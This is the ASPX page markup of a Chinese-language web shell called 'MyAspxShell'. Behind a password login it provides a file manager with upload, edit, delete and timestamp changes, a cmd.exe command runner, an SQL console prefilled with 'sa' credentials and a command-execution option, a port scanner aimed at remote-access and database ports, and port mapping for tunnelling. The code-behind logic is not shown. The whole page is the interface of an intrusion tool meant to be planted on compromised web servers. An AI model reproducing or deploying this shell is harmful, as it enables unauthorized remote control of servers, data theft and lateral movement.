﻿<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Index.aspx.cs" Inherits="parasitic.Index" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>MyAspxShell</title>
    <style type="text/css">
        A:link {
            COLOR: #000000;
            TEXT-DECORATION: None;
        }

        A:visited {
            COLOR: #000000;
            TEXT-DECORATION: None;
        }

        A:active {
            COLOR: #000000;
            TEXT-DECORATION: None;
        }

        A:hover {
            COLOR: #000000;
            TEXT-DECORATION: underline;
        }

        BODY {
            FONT-SIZE: 9pt;
            FONT-FAMILY: "Courier New";
        }
        table{border-collapse:collapse;}
        table td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ededed;padding:5px 10px 5px 5px;border-collapse:collapse;}
        table td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:5px 10px 5px 5px;border-collapse:collapse;}
        #nei {
            width: 500px;
            margin: 0px auto;
            overflow: hidden;
        }

        #su {
            width: 300px;
            margin: 0px auto;
            overflow: hidden;
        }

        #cmd {
            width: 500px;
            margin: 0px auto;
            overflow: hidden;
        }

        .Bin_DataGrid span {
            text-decoration: underline;
        }
    </style>


    <script type="text/javascript" language="javascript">
        function Command(cmd, str) {
            var strTmp = str;
            var frm = document.forms[0];
            if (cmd == 'del') {
                if (confirm('确定删除文件 ?')) {
                    frm.todo.value = str;
                    frm.goaction.value = cmd;
                    frm.submit();
                }
                else return;
            }
            if (cmd == 'change') {
                frm.todo.value = str;
                frm.goaction.value = cmd;
                frm.submit();
            }
            if (cmd == 'down') {
                frm.todo.value = str;
                frm.goaction.value = cmd;
                frm.submit();
            }
            if (cmd == 'showatt') {
                frm.todo.value = str;
                frm.goaction.value = cmd;
                frm.submit();
            }
            if (cmd == 'edit') {
                frm.todo.value = str;
                frm.goaction.value = cmd;
                frm.submit();
            }
            if (cmd == 'deldir') {
                if (confirm('确定删除文件夹 ?')) {
                    frm.todo.value = str;
                    frm.goaction.value = cmd;
                    frm.submit();
                }
                else return;
            }
            if (cmd == 'rename') {
                frm.goaction.value = cmd;
                frm.todo.value = str + ',';
                str = prompt('新文件名:', strTmp);
                if (str && (strTmp != str)) {
                    frm.todo.value += str;
                    frm.submit();
                }
                else return;
            }

            if (cmd == 'kill') {
                frm.goaction.value = cmd;
                frm.todo.value = str ;
                frm.submit();
                          
            }
            if (cmd == 'renamedir') {
                frm.goaction.value = cmd;
                frm.todo.value = str + ',';
                str = prompt('新文件夹名:', strTmp);
                if (str && (strTmp != str)) {
                    frm.todo.value += str;
                    frm.submit();
                }
                else return;
            }
            if (cmd == 'postdata') {
                frm.todo.value = str.value;
                frm.goaction.value = cmd;
                frm.submit();
            }

            if (cmd == 'postdatabase') {
                frm.todo.value = str.value;
                frm.goaction.value = cmd;
                frm.submit();
            }
            if (cmd == 'changedata') {
                frm.todo.value = str.value;
                frm.intext.value = str.options[str.selectedIndex].innerText
                frm.goaction.value = cmd;
                frm.submit();
            }
        }

    </script>
</head>
<body>
    <form id="form1" runat="server">
        <div style="text-align: center">
            <asp:Panel ID="Bin_LoginPanel" runat="server" Height="47px" Width="401px">
                <asp:Label ID="PassLabel" runat="server" Text="密码:"></asp:Label>
                <asp:TextBox ID="passtext" runat="server" TextMode="Password" Width="203px"></asp:TextBox>
                <asp:Button ID="LoginButton" runat="server" Text="进入" OnClick="LoginButton_Click" />
            </asp:Panel>
            <asp:Panel ID="Bin_MenuPanel" runat="server" Height="56px" Width="771px">
                <asp:Label ID="TimeLabel" runat="server" Text="" Width="350px"></asp:Label><br />
                <asp:Button ID="MainButton" runat="server" OnClick="MainButton_Click" Text="系统信息" />
             
                <asp:Button ID="FileButton" runat="server" OnClick="FileButton_Click" Text="文件管理" />
                <asp:Button ID="Bin_CmdButton" runat="server" Text="命令行" OnClick="Bin_CmdButton_Click" />
                <asp:Button ID="Bin_SQLButton" runat="server" OnClick="Bin_SQLButton_Click" Text="数据库" />&nbsp;
                <asp:Button ID="Bin_PortButton" runat="server" Text="端口扫描" OnClick="Bin_PortButton_Click" />
                <asp:Button ID="Bin_MapButton" runat="server" Text="端口映射" OnClick="Bin_MapButton_Click" />
                <asp:Button ID="LogoutButton" runat="server" OnClick="LogoutButton_Click" Text="注销" /><br />
                <asp:Label ID="Bin_ErrorLabel" runat="server" EnableViewState="False"></asp:Label>
            </asp:Panel>
            <asp:Panel ID="Bin_MainPanel" runat="server" Width="769px" EnableViewState="False" Visible="False" Height="20px">
                <div style="text-align: left">
                    <asp:Label ID="InfoLabel" runat="server" Width="765px" EnableViewState="False"></asp:Label></div>
            </asp:Panel>
            <div style="text-align: center">
                <asp:Panel ID="Bin_FilePanel" runat="server" Width="767px" EnableViewState="False" Visible="False">
                    <div style="text-align: left">
                        <asp:Label ID="Bin_FileLabel" runat="server" Text="Label" Width="764px"></asp:Label><br />
                        <asp:Label ID="Bin_UpfileLabel" runat="server" Text="上传文件 :  "></asp:Label>
                        <input class="TextBox" id="Bin_UpFile" type="file" name="upfile" runat="server" />&nbsp;<asp:TextBox ID="Bin_upTextBox" runat="server" Width="339px"></asp:TextBox>&nbsp;
                <asp:Button ID="Bin_GoButton" runat="server" OnClick="Bin_GoButton_Click" Text="GO" />
                        <asp:Button ID="Bin_upButton" runat="server" Text="上传" OnClick="Bin_upButton_Click" EnableViewState="False" /><br />
                        <asp:Label ID="Bin_CreateLabel" runat="server" Text="创建 :"></asp:Label>
                        <asp:TextBox ID="Bin_CreateTextBox" runat="server"></asp:TextBox><asp:Button ID="Bin_NewFileButton"
                            runat="server" Text="新建文件" OnClick="Bin_NewFileButton_Click" />
                        <asp:Button ID="Bin_NewdirButton" runat="server" Text="新建目录" OnClick="Bin_NewdirButton_Click" />
                        <br />
                        <asp:Label ID="Bin_CopyLabel" runat="server" Text="复制 :" Width="39px"></asp:Label>
                        &nbsp;
            <asp:TextBox ID="Bin_CopyTextBox" runat="server" Width="273px"></asp:TextBox>
                        <asp:Label ID="Bin_CopytoLable" runat="server" Text="到:"></asp:Label>
                        <asp:TextBox ID="Bin_CopytoTextBox" runat="server" Width="268px"></asp:TextBox>
                        <asp:Button ID="Bin_CopyButton" runat="server" Text="复制" OnClick="Bin_CopyButton_Click" />
                        <asp:Button ID="Bin_CutButton" runat="server" Text="剪切" Width="46px" OnClick="Bin_CutButton_Click" />
                        <asp:Label ID="Bin_FilelistLabel" runat="server" EnableViewState="False"></asp:Label>
                    </div>
                    <div style="text-align: center">
                        <asp:Panel ID="Bin_AttPanel" runat="server" Width="765px" Visible="False">
                            <hr />
                            文件名 :
                    <asp:Label ID="Bin_AttLabel" runat="server" Text="Label"></asp:Label><br />
                            <asp:CheckBox ID="Bin_ReadOnlyCheckBox" runat="server" Text="只读" />
                            <asp:CheckBox ID="Bin_SystemCheckBox" runat="server" Text="系统" />
                            <asp:CheckBox ID="Bin_HiddenCheckBox" runat="server" Text="隐藏" />
                            <asp:CheckBox ID="Bin_ArchiveCheckBox" runat="server" Text="存档" />
                            <br />
                            创建时间 :
                    <asp:TextBox ID="Bin_CreationTimeTextBox" runat="server" Width="123px"></asp:TextBox>
                            写入时间 :
                    <asp:TextBox ID="Bin_LastWriteTimeTextBox" runat="server" Width="129px"></asp:TextBox>
                            操作时间 :
                    <asp:TextBox ID="Bin_AccessTimeTextBox" runat="server" Width="119px"></asp:TextBox><br />
                            <asp:Button ID="Bin_SetButton" runat="server" OnClick="Bin_SetButton_Click" Text="设置" />
                            <asp:Button ID="Bin_SbackButton" runat="server" OnClick="Bin_SbackButton_Click" Text="后退" />
                            <hr />
                        </asp:Panel>
                    </div>
                    <div style="text-align: center">
                        <asp:Panel ID="Bin_EditPanel" runat="server" Visible="False">
                            <hr style="width: 757px" />
                            路径:<asp:TextBox ID="Bin_EditpathTextBox" runat="server" Width="455px"></asp:TextBox><br />
                            <asp:TextBox ID="Bin_EditTextBox" runat="server" TextMode="MultiLine" Columns="100" Rows="25" Width="760px"></asp:TextBox><br />
                            <asp:Button ID="Bin_EditButton" runat="server" Text="提交" OnClick="Bin_EditButton_Click" />&nbsp;<asp:Button
                                ID="Bin_BackButton" runat="server" OnClick="Bin_BackButton_Click" Text="后退" />
                        </asp:Panel>
                    </div>
                </asp:Panel>
            </div>
            <asp:Panel ID="Bin_CmdPanel" runat="server" Height="50px" Width="763px">
                <hr />
                Cmd路径 : &nbsp;<asp:TextBox ID="Bin_CmdPathTextBox" runat="server" Width="395px">C:\Windows\System32\Cmd.exe</asp:TextBox><br />
                参数 :
                    <asp:TextBox ID="Bin_CmdShellTextBox" runat="server" Width="395px">/c Set</asp:TextBox><br />
                <asp:Button ID="Bin_RunButton" runat="server" OnClick="Bin_RunButton_Click" Text="执行" />
                <div style="text-align: left">
                    <asp:Label ID="Bin_CmdLabel" runat="server" EnableViewState="False"></asp:Label>
                </div>
                <hr />
            </asp:Panel>
            <asp:Panel ID="Bin_SQLPanel" runat="server" Visible="False" Width="763px">
                <hr />
                ConnString :
            <asp:TextBox ID="Bin_SQLconnTextBox" runat="server" Width="500px">server=localhost;UID=sa;PWD=sqlsql;database=master;Provider=SQLOLEDB</asp:TextBox>
                <asp:Button ID="SQL_SumbitButton" runat="server" Text="登陆" OnClick="SQL_SumbitButton_Click" />
                <asp:Panel ID="Bin_DBmenuPanel" runat="server" Width="759px" Visible="False">
                    <asp:Button ID="Bin_BDButton" runat="server" Text="数据获取" OnClick="Bin_BDButton_Click" />
                    <asp:Button ID="Bin_SACMDButton" runat="server" Text="执行操作" OnClick="Bin_SACMDButton_Click" />
                                       
                    <div style="text-align: left">
                        <asp:Label ID="Bin_DBinfoLabel" runat="server" Text="" EnableViewState="False"></asp:Label>
                    </div>
                </asp:Panel>
                <asp:Panel ID="Bin_AccPanel" runat="server" Height="50px" Width="759px" EnableViewState="False">
                    <asp:Label ID="Bin_AccinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label><br />
                    <asp:TextBox ID="Bin_DBstrTextBox" runat="server" TextMode="MultiLine" Width="569px"></asp:TextBox>
                    <asp:Button ID="Bin_ExecButton" runat="server" OnClick="Bin_ExecButton_Click" Text="执行" />
                    <asp:Button ID="Bin_SAexecButton" runat="server" Text="执行" OnClick="Bin_SAexecButton_Click" /><br />
                    <div style="text-align: left">
                        <asp:Label ID="Bin_ResLabel" runat="server" Text=""></asp:Label>
                    </div>
                </asp:Panel>
                
                <br />
                <br />
                <div style="overflow: scroll; text-align: left; width: 770px;" id="Bin_Scroll" runat="server" visible="false">
                    <asp:DataGrid ID="Bin_DataGrid" runat="server" Width="753px" PageSize="20" CssClass="Bin_DataGrid" OnItemDataBound="Item_DataBound" AllowPaging="True" OnPageIndexChanged="Bin_DBPage" OnItemCommand="Item_Command">
                        <PagerStyle Mode="NumericPages" Position="TopAndBottom" />
                    </asp:DataGrid>
                </div>
            </asp:Panel>

          
            
            <asp:Panel ID="Bin_PortPanel" runat="server" Width="763px">
                <hr />
                <div style="text-align: left">
                    IP :
                <asp:TextBox ID="Bin_ScanipTextBox" runat="server" Width="194px">127.0.0.1</asp:TextBox>
                    端口 :
            <asp:TextBox ID="Bin_PortsTextBox" runat="server" Width="356px">21,80,1433,3306,3389,4899,5631,43958,65500</asp:TextBox>
                    <asp:Button ID="Bin_ScancmdButton" runat="server" Text="扫描" OnClick="Bin_ScancmdButton_Click" /><br />
                    <asp:Label ID="Bin_ScanresLabel" runat="server"></asp:Label>
                </div>
                <hr />
            </asp:Panel>
            <asp:Panel ID="hOWTm" runat="server" Width="763px">
                <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin: 10px 0;">
                    <tr align="center">
                        <td style="width: 5%"></td>
                        <td style="width: 20%" align="left">本地Ip :
                            <asp:TextBox ID="eEpm" runat="server" Text="127.0.0.1"></asp:TextBox></td>
                        <td style="width: 20%" align="left">本地端口 :<asp:TextBox ID="iXdh" runat="server" Text="3389"></asp:TextBox></td>
                        <td style="width: 20%" align="left">远程Ip :
                            <asp:TextBox ID="llH" runat="server" Text="127.0.0.1"></asp:TextBox></td>
                        <td style="width: 20%" align="left">远端口程 :
                            <asp:TextBox ID="ZHS" runat="server" Text="80"></asp:TextBox></td>
                    </tr>
                    <tr align="center">
                        <td colspan="5">
                            <br />
                            <asp:Button ID="FJE" CssClass="bt" runat="server" Text="映射端口" OnClick="wDZ" />
                            <asp:Button ID="giX" CssClass="bt" runat="server" Text="重置状态" OnClick="vJNsE" />
                            <asp:Button ID="GFsm" CssClass="bt" runat="server" Text="刷新" OnClick="tYoZ" /></td>
                    </tr>
                </table>

            </asp:Panel>
        </div>
    </form>
</body>
</html>
